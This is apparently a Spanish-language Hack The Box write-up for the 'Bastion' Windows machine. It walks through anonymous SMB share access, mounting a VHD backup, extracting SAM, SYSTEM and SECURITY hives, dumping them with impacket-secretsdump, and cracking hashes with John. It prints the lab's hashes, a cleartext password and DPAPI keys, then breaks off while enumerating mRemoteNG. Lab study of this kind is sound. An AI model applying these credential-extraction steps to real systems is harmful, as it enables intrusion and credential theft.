Security Layer
Research Articles 🔎🎵👽GitHub
  • Bienvenido a Security Layer
  • 👾Hack The Box
    • 👾HACK THE BOX
    • Archetype
    • Responder
    • Three
  • Crocodile
  • Unrested
  • Shibboleth
  • Active
  • Bastion
  • Access
  • Devel
  • Optimum
  • Cicada
  • Forest
  • Sauna
  • Support
  • 👾Try Hackme
    • 👾TRY HACKME
    • Attacking Kerberos
  • 🛠️Tools
    • 🛠️Tools
    • Suite Impacket
    • SMBmap
    • SMBclient
    • WinPEAS
    • EvilWinRM
  • Wfuzz
  • Responder
  • John The Ripper
  • Gobuster
  • Hydra
  • Ffuf
  • nxc
  • Enum4Linux/Enum4Linux-ng
  • Crear Diccionarios
  • Kerbrute
  • Microsoft Windows
    • MSSQL
    • Glosario
  • ⚠️Scripts
    • Shell.ps1
    • Common shell Payloads
  • Comand Line Tools
    • Comand Line Tools Linux
    • Wget
    • Strings
    • Compartir y descargar recursos
    • Comand Line Tools Windows
    • Enumerar permisos de usuarios
    • Listar o identificar ficheros especificos
  • AWS
    • Conexiones a Bucket s3
Powered by GitBook
On this page
  • Enumeración de puertos/servicios
  • Enumeración de recursos SMB
  • Identificación de archivos de respaldo
  • Montaje y análisis del VHD
  • Extracción de archivos SAM y SYSTEM
  • Extracción y crackeo de hashes
  • Acceso inicial al sistema y Enumeración de software instalado
  • Extracción de credenciales desde mRemoteNG
  • Acceso como administrador

Bastion

Dificultad: Easy - OS: Windows

¯\_( ͡° ͜ʖ ͡°)_/¯ Machine info

La máquina Bastion, categorizada como fácil dentro de la plataforma Hack The Box, propone una dinámica centrada en la explotación de malas prácticas de respaldo y gestión de credenciales en sistemas Windows. El entorno simula un servidor accesible a través de los servicios SMB y SSH, y expone un recurso compartido que contiene una copia de seguridad en formato VHD.

A lo largo del desafío, se pone en práctica la extracción de información sensible desde imágenes de disco, particularmente los archivos SAM y SYSTEM, que permiten obtener hashes de contraseñas. Posteriormente, se utiliza el crackeo de dichos hashes para obtener acceso inicial al sistema. Una vez dentro, se analiza el software instalado y se identifica mRemoteNG, una aplicación vulnerable que permite recuperar credenciales almacenadas de manera insegura, facilitando así la escalada de privilegios hasta alcanzar acceso administrativo.

Este CTF permite explorar un conjunto de vectores comunes en auditorías de seguridad, como la exposición de backups, el almacenamiento débil de credenciales, y la ausencia de controles sobre servicios remotos. A través de su resolución, se refuerzan conceptos clave en la enumeración, el análisis forense básico, la extracción de secretos del sistema y el aprovechamiento de configuraciones inseguras en software de terceros.

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.10.134
📌 Parámetros
  • sCV:

    • -sC → Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sV → Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -n → No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open → Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4 → Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -v → Modo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultado:

PORT     STATE SERVICE      VERSION
22/tcp   open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-27T06:13:39
|_  start_date: 2025-04-27T05:18:29
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-04-27T08:13:41+02:00
|_clock-skew: mean: -38m36s, deviation: 1h09m14s, median: 1m21s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Los puertos que nos interesan:

Puerto	  | Estado | Servicio	       | Protocolo
22/tcp	  | open   | ssh (OpenSSH 7.9) | TCP
139/tcp	  | open   | netbios-ssn       | TCP
445/tcp   | open   | Microsoft-DS      | TCP

Enumeración de recursos SMB

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nxc smb 10.10.10.134 -u 'a' -p '' --shares
SMB         10.10.10.134    445    BASTION          [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB         10.10.10.134    445    BASTION          [+] Bastion\a: (Guest)
SMB         10.10.10.134    445    BASTION          [*] Enumerated shares
SMB         10.10.10.134    445    BASTION          Share           Permissions     Remark
SMB         10.10.10.134    445    BASTION          -----           -----------     ------
SMB         10.10.10.134    445    BASTION          ADMIN$                          Remote Admin
SMB         10.10.10.134    445    BASTION          Backups         READ,WRITE      
SMB         10.10.10.134    445    BASTION          C$                              Default share
SMB         10.10.10.134    445    BASTION          IPC$                            Remote IPC
📌 Desglose del comando
  • nxc smb → Le dice a nxc que use el módulo SMB (interactuar con compartidos de Windows).

  • 10.10.10.134 → Es la IP de la máquina objetivo (en este caso, la del CTF Bastion).

  • -u 'a' → Especifica el nombre de usuario como 'a' (cualquier cosa, básicamente).

  • -p '' → Especifica una contraseña vacía (sin password).

  • --shares → Le dice que enumere los recursos compartidos (shares) disponibles en ese servidor SMB.

¿Por qué usar un usuario y password así?

  • Porque en SMB a veces se permite una conexión "nula" o "anónima" (sin usuario ni contraseña reales).

  • Poner un usuario inventado (a) y contraseña vacía intenta ver si el servidor permite listar shares sin autenticación o con autenticación muy débil.

¿Qué se puede hacer con nxc sobre SMB?

  • Listar recursos compartidos (--shares).

  • Listar archivos de un directorio (--list).

  • Descargar archivos (--download).

  • Subir archivos (--upload).

  • Eliminar archivos (--delete).

Identificación de archivos de respaldo

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# smbclient //10.10.10.134/backups -N                                               

Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Apr 16 06:02:11 2019
  ..                                  D        0  Tue Apr 16 06:02:11 2019
  note.txt                           AR      116  Tue Apr 16 06:10:09 2019
  SDT65CB.tmp                         A        0  Fri Feb 22 07:43:08 2019
  WindowsImageBackup                 Dn        0  Fri Feb 22 07:44:02 2019

                5638911 blocks of size 4096. 1178907 blocks available
smb: \> get note.txt 
getting file \note.txt of size 116 as note.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> cat note.txt 
cat: command not found
smb: \> !cat note.txt 

Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

smb: \> cd WindowsImageBackup\
smb: \WindowsImageBackup\> dir
  .                                  Dn        0  Fri Feb 22 07:44:02 2019
  ..                                 Dn        0  Fri Feb 22 07:44:02 2019
  L4mpje-PC                          Dn        0  Fri Feb 22 07:45:32 2019

                5638911 blocks of size 4096. 1177973 blocks available
smb: \WindowsImageBackup\> cd L4mpje-PC\
smb: \WindowsImageBackup\L4mpje-PC\> dir
  .                                  Dn        0  Fri Feb 22 07:45:32 2019
  ..                                 Dn        0  Fri Feb 22 07:45:32 2019
  Backup 2019-02-22 124351           Dn        0  Fri Feb 22 07:45:32 2019
  Catalog                            Dn        0  Fri Feb 22 07:45:32 2019
  MediaId                            An       16  Fri Feb 22 07:44:02 2019
  SPPMetadataCache                   Dn        0  Fri Feb 22 07:45:32 2019

                5638911 blocks of size 4096. 1177931 blocks available
smb: \WindowsImageBackup\L4mpje-PC\> cd "Backup 2019-02-22 124351"
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> dir
  .                                  Dn        0  Fri Feb 22 07:45:32 2019
  ..                                 Dn        0  Fri Feb 22 07:45:32 2019
  9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd     An 37761024  Fri Feb 22 07:44:03 2019
  9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd     An 5418299392  Fri Feb 22 07:45:32 2019
  BackupSpecs.xml                    An     1186  Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml     An     1078  Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml     An     8930  Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml     An     6542  Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml     An     2894  Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml     An     1488  Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml     An     1484  Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml     An     3844  Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml     An     3988  Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml     An     7110  Fri Feb 22 07:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml     An  2374620  Fri Feb 22 07:45:32 2019

                5638911 blocks of size 4096. 1173840 blocks available
📌 ¿Qué son estas carpetas y archivos que encontramos?

En el directorio \WindowsImageBackup\L4mpje-PC encontramos lo siguiente:

  • Backup 2019-02-22 124351

Una copia de seguridad de la máquina L4mpje-PC creada el 22 de febrero de 2019 a las 12:43:51. Este nombre lo genera automáticamente Windows cuando haces un backup completo.

  • Catalog

Información de catálogo del backup. Windows guarda metadatos de qué está contenido en la imagen.

  • MediaId

Archivo muy pequeño (16 bytes) que Windows usa para identificar el medio de backup. No es importante para nosotros.

  • SPPMetadataCache

Caché de metadatos de protección de software. Más info interna de Windows Backup, tampoco importante para nosotros.

Luego en el directorio \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351 encontramos:

  • Archivos .vhd:

    • 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd: Este es un archivo de imagen de disco virtual (VHD) que contiene una copia de una partición del sistema o de los datos de la máquina respaldada L4mpje-PC. El tamaño de este archivo es de aproximadamente 37.7 MB.

    • 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd: Este es otro archivo VHD de una copia de seguridad, pero es mucho más grande, con un tamaño de aproximadamente 5.4 GB. Es probable que contenga los datos completos del sistema L4mpje-PC o una partición del sistema más grande.

    Los archivos .vhd contienen una representación completa de las particiones de la máquina virtualizada. Si se montan, permiten acceder a la estructura de archivos y los datos tal como estaban en el momento de la copia de seguridad.

  • Archivos .xml:

    • BackupSpecs.xml: Este archivo contiene especificaciones y detalles sobre la copia de seguridad. Incluye configuraciones, las particiones respaldadas, y otra información relacionada con la creación y el contenido del respaldo.

    • Archivos con nombres como cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml: Estos son archivos de configuración relacionados con el "VSS Writer" de Windows. Los VSS Writers son componentes de Windows que ayudan en el proceso de creación de copias de seguridad, asegurando que el sistema de archivos y los datos estén consistentes. Los archivos XML listados probablemente contienen información sobre los servicios, configuraciones y registros relacionados con el proceso de copia de seguridad.

    • Writer XMLs: Estos archivos están vinculados con la protección y consistencia de ciertos servicios o aplicaciones en el momento de la copia de seguridad. Cada archivo XML representa un "escritor" de VSS para un componente específico del sistema (como la base de datos, el registro o la configuración de aplicaciones).

Montaje y análisis del VHD

Otra forma más ordenada de ver el contenido del directorio /Backups es montando el disco en nuestro equipo de la siguiente manera:

┌──(root㉿kali)-[/home/kali/Documents/HTB/BASTION]
└─# mkdir smb_shares_backup
                                                                                           
┌──(root㉿kali)-[/home/kali/Documents/HTB/BASTION]
└─# mount -t cifs //10.10.10.134/Backups ./smb_shares_backup -o rw -o username=guest
Password for guest@//10.10.10.134/Backups:                                                                                              
                                                                                             
┌──(root㉿kali)-[/home/kali/Documents/HTB/BASTION]
└─# tree -ha smb_shares_backup 
[4.0K]  smb_shares_backup
├── [   0]  cyiWwVfZQB
├── [   0]  FlpNkybTvX.txt
├── [   0]  HXZiyDARPb
├── [ 116]  note.txt
├── [   0]  SDT65CB.tmp
├── [   0]  WFCBUztHSM.txt
└── [   0]  WindowsImageBackup
    └── [   0]  L4mpje-PC
        ├── [   0]  Backup 2019-02-22 124351
        │   ├── [ 36M]  9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
        │   ├── [5.0G]  9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
        │   ├── [1.2K]  BackupSpecs.xml
        │   ├── [1.1K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
        │   ├── [8.7K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
        │   ├── [6.4K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
        │   ├── [2.8K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml                                                                               
        │   ├── [1.5K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml                                                                               
        │   ├── [1.4K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml                                                                               
        │   ├── [3.8K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml                                                                               
        │   ├── [3.9K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml                                                                               
        │   ├── [6.9K]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml                                                                               
        │   └── [2.3M]  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml                                                                               
        ├── [   0]  Catalog
        │   ├── [5.6K]  BackupGlobalCatalog
        │   └── [7.3K]  GlobalCatalog
        ├── [  16]  MediaId
        └── [   0]  SPPMetadataCache
            └── [ 56K]  {cd113385-65ff-4ea2-8ced-5630f6feca8f}

8 directories, 21 files                                                          
📌Desglose del comando mount

mount → Es el comando de Linux para montar sistemas de archivos (lo que "conecta" una carpeta, disco, recurso remoto, etc. al sistema local)

-t cifs → especifica el tipo de sistema de archivos que estamos intentando montar. En este caso, cifs hace referencia a Common Internet File System, que es un protocolo utilizado por Windows para compartir archivos e impresoras en una red.

'//10.10.10.134/Backups' → Esta es la ruta al recurso compartido de la red que deseas montar. El formato //IP/dirección_del_recurso es típico en CIFS/SMB para especificar el servidor y el recurso compartido.

./smb_shares_backup → este es el punto de montaje local en nuestra máquina donde se accederá al recurso compartido. El prefijo ./ significa que se montará en la carpeta smb_shares_backup dentro del directorio actual. Una vez montado, podremos acceder al contenido del recurso compartido como si fuera parte del sistema local.

-o rw → el parámetro -o indica opciones adicionales para configurar el comportamiento del montaje. rw indica que el recurso compartido será montado en modo de lectura y escritura (Read-Write).

-o username=guest → esta opción especifica el nombre de usuario que se utilizará para acceder al recurso compartido. En este caso, utilizamos el usuario guest, que es común para accesos sin credenciales específicas o con permisos limitados.

📌¿Qué son los VHD?

Los archivos VHD (Virtual Hard Disk) son imágenes de disco que actúan como discos duros virtuales, permitiendo almacenar un sistema operativo, aplicaciones, y datos de manera similar a un disco duro físico, pero dentro de un entorno virtualizado. Son utilizados principalmente en plataformas de virtualización, como Hyper-V, VMware y otros sistemas de virtualización que soportan el formato de disco virtual.

Un archivo VHD contiene una representación exacta de la estructura de un disco físico, y es posible montar un VHD en una máquina física o en una máquina virtual para acceder a sus datos, sin necesidad de un disco duro físico. Los VHD permiten crear y gestionar múltiples sistemas operativos dentro de una sola máquina física, lo que es esencial para pruebas, desarrollo, y despliegue de entornos virtualizados.

¿Que nos interesa realmente acá?

La carpeta Backup 2019-02-22 124351: → Dentro de esta carpeta es donde suelen estar los archivos VHD o VHDX, que son discos virtuales. → Estos VHD contienen copias completas de particiones o volúmenes del sistema del que se hizo backup.

El vhd que nos interesa es el [5.0G] 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd De aca podremos extraer archivos críticos, como:

  • El SAM (Security Account Manager) para robar hashes de contraseñas.

  • El archivo SYSTEM, necesario para desencriptar esos hashes.

Ahora para poder montar el VHD en nuestra máquina vamos a usar el siguiente comando:

┌──(root㉿kali)-[/home/kali/Documents/HTB/BASTION]
└─# mkdir backup

┌──(root㉿kali)-[/home/kali/Documents/HTB/BASTION]
└─# guestmount -a /mnt/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /home/kali/Documents/HTB/BASTION/backup
📌Desglose del comando

El comando guestmount se utiliza para montar imágenes de discos virtuales (VHD, VMDK, etc.) dentro de un sistema Linux. Este comando es parte de la herramienta libguestfs, que permite interactuar con sistemas de archivos en discos virtuales, como los de máquinas virtuales, sin necesidad de arrancar una máquina virtual.

Explicación de cada parte del comando:

  1. -a /mnt/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd:

    • -a especifica el archivo de imagen del disco virtual que se desea montar. En este caso, el archivo es un archivo VHD con el nombre 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd, ubicado en la carpeta /mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/.

    • La ruta incluye espacios, Backup 2019-02-22 124351, por lo que los espacios están escapados con el carácter \ (Backup\ 2019-02-22\ 124351).

  2. --inspector: Esta opción le indica a guestmount que no solo monte el sistema de archivos, sino que también inspeccione la imagen del disco virtual antes de montarlo, lo que significa que el comando está realizando una verificación del sistema de archivos en lugar de simplemente montarlo.

  3. --ro: Esta opción especifica que el disco virtual debe montarse solo lectura. Es decir, se puede acceder a los archivos en la imagen del disco, pero no se podrán modificar, lo que es útil para evitar cambios accidentales en el sistema de archivos virtual.

  4. /home/kali/Documents/HTB/BASTION/backup : Esta es la ruta del directorio en el que se montará el disco virtual dentro del sistema de archivos del host.

Extracción de archivos SAM y SYSTEM

Al listar el contenido, vemos que tenemos acceso a los directorios correspondientes al backup de un sistema, y que estamos ubicados en la raíz de la partición C:/. Ahora, para no perdernos entre todos los ficheros del sistema, vamos a ir directamente a buscar los hashes de las contraseñas NTLM que Windows almacena normalmente. Como en este caso contamos con el backup, podemos leer estos archivos sin restricciones. Por esta razón, vamos a ir directamente al directorio Windows/System32/config, donde se almacenan los archivos SAM, SYSTEM y SECURITY, que son cruciales para la autenticación y la seguridad del sistema.

┌──(root㉿kali)-[/home/kali/Documents/HTB/BASTION]
└─# ls -la backup
total 2096745
drwxrwxrwx 1 root root      12288 Feb 22  2019  .
drwxr-xr-x 4 root root       4096 Apr 27 21:26  ..
drwxrwxrwx 1 root root          0 Feb 22  2019 '$Recycle.Bin'
-rwxrwxrwx 1 root root         24 Jun 10  2009  autoexec.bat
-rwxrwxrwx 1 root root         10 Jun 10  2009  config.sys
lrwxrwxrwx 2 root root         14 Jul 14  2009 'Documents and Settings' -> /sysroot/Users
-rwxrwxrwx 1 root root 2147016704 Feb 22  2019  pagefile.sys
drwxrwxrwx 1 root root          0 Jul 13  2009  PerfLogs
drwxrwxrwx 1 root root       4096 Jul 14  2009  ProgramData
drwxrwxrwx 1 root root       4096 Apr 11  2011 'Program Files'
drwxrwxrwx 1 root root          0 Feb 22  2019  Recovery
drwxrwxrwx 1 root root       4096 Feb 22  2019 'System Volume Information'
drwxrwxrwx 1 root root       4096 Feb 22  2019  Users
drwxrwxrwx 1 root root      16384 Feb 22  2019  Windows

┌──(root㉿kali)-[/home/kali/Documents/HTB/BASTION]
└─# cd backup/Windows/System32/config

┌──(root㉿kali)-[/home/…/backup/Windows/System32/config]
└─# ls -la SAM                         
-rwxrwxrwx 1 root root 262144 Feb 22  2019 SAM
                                                                                             
┌──(root㉿kali)-[/home/…/backup/Windows/System32/config]
└─# ls -la SYSTEM
-rwxrwxrwx 1 root root 9699328 Feb 22  2019 SYSTEM
                                                                                             
┌──(root㉿kali)-[/home/…/backup/Windows/System32/config]
└─# ls -la SECURITY
-rwxrwxrwx 1 root root 262144 Feb 22  2019 SECURITY
📌¿Qué son el SAM, SYSTEM y SECURITY?
  1. SAM (Security Accounts Manager):

    • El archivo SAM es una base de datos utilizada por Windows para almacenar las cuentas de usuario y los hashes de sus contraseñas. Es un archivo clave para la gestión de la seguridad en el sistema operativo, ya que contiene información esencial sobre los usuarios del sistema, como sus identificadores de usuario (SID) y las contraseñas cifradas mediante el algoritmo NTLM. El acceso a este archivo, en condiciones normales, está restringido para proteger la información sensible, pero en un backup, se puede acceder sin restricciones si no se ha cifrado o protegido adecuadamente.

  2. SYSTEM:

    • El archivo SYSTEM contiene la configuración del registro del sistema operativo, incluida la información sobre los controladores del sistema, las configuraciones del hardware y otras configuraciones críticas relacionadas con el funcionamiento del sistema. Además, mantiene información sobre los controladores de arranque y otros parámetros esenciales para que el sistema operativo arranque correctamente. Es crucial para el funcionamiento de Windows, ya que sin este archivo, el sistema no podría cargarse correctamente.

  3. SECURITY:

    • El archivo SECURITY es otro componente del registro de Windows que contiene configuraciones relacionadas con la seguridad del sistema. Entre otras cosas, almacena políticas de seguridad como las relacionadas con los permisos de acceso, las auditorías de seguridad y las configuraciones de autenticación, incluidos los parámetros de acceso a cuentas de usuario y sus respectivas contraseñas cifradas. También se encarga de la administración de los accesos a los recursos del sistema, incluyendo las configuraciones de protección de las cuentas y los permisos sobre los objetos del sistema.

Entonces lo que vamos a hacer es lo siguiente:

  1. Creamos un directorio en nuestra máquina local donde copiaremos los ficheros SAM, SYSTEM y SECURITY respectivamente

┌──(root㉿kali)-[/home/…/backup/Windows/System32/config]
└─# mkdir /home/kali/Documents/HTB/BASTION/windowsconf

┌──(root㉿kali)-[/home/…/backup/Windows/System32/config]
└─# cp SAM /home/kali/Documents/HTB/BASTION/windowsconf 
                                                                                             
┌──(root㉿kali)-[/home/…/backup/Windows/System32/config]
└─# cp SYSTEM /home/kali/Documents/HTB/BASTION/windowsconf
                                                                                             
┌──(root㉿kali)-[/home/…/backup/Windows/System32/config]
└─# cp SECURITY /home/kali/Documents/HTB/BASTION/windowsconf                                                                                             

Extracción y crackeo de hashes

┌──(root㉿kali)-[/home/…/backup/Windows/System32/config]
└─# cd /home/kali/Documents/HTB/BASTION/windowsconf

┌──(root㉿kali)-[/home/…/Documents/HTB/BASTION/windowsconf]
└─# ls
SAM  SECURITY  SYSTEM

┌──(root㉿kali)-[/home/…/Documents/HTB/BASTION/windowsconf]
└─# impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword 
(Unknown User):bureaulampje
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x32764bdcb45f472159af59f1dc287fd1920016a6
dpapi_userkey:0xd2e02883757da99914e3138496705b223e9d03dd
[*] Cleaning up... 

┌──(root㉿kali)-[/home/…/Documents/HTB/BASTION/windowsconf]
└─# nano hashes.txt 
┌──(root㉿kali)-[/home/…/Documents/HTB/BASTION/windowsconf]
└─# john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt    
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
                 (Administrator)     
bureaulampje     (L4mpje)     
2g 0:00:00:00 DONE (2025-04-27 22:59) 4.255g/s 19990Kp/s 19990Kc/s 20000KC/s burg772v..burdy1
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
📌Desglose de los comandos

impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY local

-sam SAM → le pasamos el archivo SAM, que contiene los hashes de las cuentas de usuario locales en Windows.

-system SYSTEM → le pasamos el archivo SYSTEM, que contiene la clave de cifrado necesaria para poder desencriptar los hashes del SAM.

-security SECURITY → le pasamos el archivo SECURITY, que puede contener más info sensible como secretos de LSA.

local → indica que la extracción es desde archivos locales, no conectándose a una máquina remota.

john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

--format=NT → le indica a John que los hashes son NTLM (tipo Windows).

--wordlist=/usr/share/wordlists/rockyou.txt → le indicamos que use rockyou.txt como diccionario de contraseñas comunes para probar contra los hashes.

hashes.txt → el archivo donde guarde los hashes NTLM extraídos, sobre el que se va a crackear.

Acceso inicial al sistema y Enumeración de software instalado

l4mpje@BASTION C:\>dir '.\Program Files (x86)\'                                              
The system cannot find the file specified.                                                   
                                                                                             
l4mpje@BASTION C:\>powershell -Command "ls '.\Program Files (x86)\'"                         
                                                                                             
                                                                                             
    Directory: C:\Program Files (x86)                                                        
                                                                                             
                                                                                             
Mode                LastWriteTime         Length Name                                        
----                -------------         ------ ----                                        
d-----        16-7-2016     15:23                Common Files                                
d-----        23-2-2019     09:38                Internet Explorer                           
d-----        16-7-2016     15:23                Microsoft.NET                               
da----        22-2-2019     14:01                mRemoteNG                                   
d-----        23-2-2019     10:22                Windows Defender                            
d-----        23-2-2019     09:38                Windows Mail                                
d-----        23-2-2019     10:22                Windows Media Player                        
d-----        16-7-2016     15:23                Windows Multimedia Platform                 
d-----        16-7-2016     15:23                Windows NT                                  
d-----        23-2-2019     10:22                Windows Photo Viewer                        
d-----        16-7-2016     15:23                Windows Portable Devices                    
d-----        16-7-2016     15:23                WindowsPowerShell 
l4mpje@BASTION C:\>powershell -Command "Get-ItemProperty 'HKLM:\SOFTWARE\Wow6432Node\Microsof
t\Windows\CurrentVersion\Uninstall\*' | Select-Object DisplayName"                           
                                                                                             
DisplayName                                                                                  
-----------                                                                                  
                                                                                             
                                                                                             
Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.24.28127                           
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.24.28127                                  
mRemoteNG                                                                                    
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161                               
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.24.28127                           
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.24.28127                               
                                                                                                                                                                                                                                                                                       
l4mpje@BASTION C:\>powershell -Command "Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\Cu
rrentVersion\Uninstall\*' | Select-Object DisplayName"                                       
                                                                                             
DisplayName                                                                                  
-----------                                                                                  
                                                                                             
                                                                                             
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161                               
VMware Tools                                                                                 
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.24.28127                                  
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.24.28127  
📌¿Qué es mRemoteNG?
  • mRemoteNG es un administrador de conexiones remotas.

  • Permite a los usuarios centralizar en una sola aplicación múltiples conexiones a distintos servidores o dispositivos usando protocolos como:

    • RDP (Remote Desktop Protocol)

    • SSH

    • VNC

    • Telnet

    • HTTP/HTTPS

    • Rlogin

    • RAW Socket

Objetivo: que un administrador o usuario pueda manejar muchos servidores o servicios remotos en un solo lugar, de forma organizada.

¿Por qué es importante para pentesting o CTFs?

  • mRemoteNG guarda credenciales (usuarios y contraseñas) en archivos locales como confCons.xml.

  • Versiones antiguas de mRemoteNG (por ejemplo, 1.76.11) guardaban las contraseñas cifradas débilmente, y se pueden desencriptar fácilmente

  • Esto es una fuente de credenciales que podemos robar para escalar privilegios o movernos lateralmente

📌¿Qué hacen estos comandos?

powershell -Command "Get-ItemProperty 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*' | Select-Object DisplayName"

